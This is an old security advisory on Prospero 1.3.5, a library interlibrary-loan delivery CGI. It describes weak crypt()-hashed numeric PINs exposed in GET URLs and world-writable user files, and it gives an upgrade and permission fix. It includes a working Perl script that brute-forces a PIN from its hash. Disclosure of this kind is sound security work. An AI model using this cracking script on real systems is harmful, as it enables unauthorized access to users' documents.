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Vulnerability Prospero Affected Prospero 1.3.5 CGI Description 'darkyoda' found following. Prospero is a Web-based document delivery system designed as a complement to the Ariel software system. Ariel is a product of the Research Libraries Group (RLG) which allows libraries to use the Internet to exchange documents through interlibrary loan. Client-side Prospero generates a random 3 or 4 digit PIN that users enter into a web-based form that grants them access to documents requested through interlibrary loan. Because the form uses the GET method, the encrypted PIN is visible in the browser. A perusal of login.pl reveals that the Perl crypt() method is used to encrypt the PIN. It is trivial for an attacker to determine the PIN by brute-force methods; this would allow access to user documents, allowing malicious users to delete them arbitrarily or to determine the subject of a user's research. In addition, login.pl uses 0666 permissions on log and manifest files. The manifest file is the user database containing PINs and usernames. Non-prospero users can modify/delete entries in this file as they please. Exploit: #!/usr/bin/perl # # crack for prospero PINs # dY 12.15.00 # printf("Enter encrypted PIN: "); chop($passwd = <STDIN>); $salt = substr($passwd,0,2); $epin = substr($passwd,2,99); $lowval = 0; $highval = 9999; for ($i = $lowval; $i <= $highval; $i++) { if (crypt($i, $salt) eq $passwd) { print("***Unencrypted PIN is: $i\n"); exit(0); } } printf("Sorry, couldn't crack it. Try something > $highval.\n"); exit(0); Solution Upgrade to the latest version 1.3.7. Note that author didn't reviewed the source of this latest version. Clients who cannot upgrade should change the file permissions in login.pl to 0660 and consider using complex alphanumeric PINs in lieu of the ones generated by Prospero. Note that this will only slow an attacker, as the hash could still be brute-forced by an industrial password cracker, ala John the Ripper.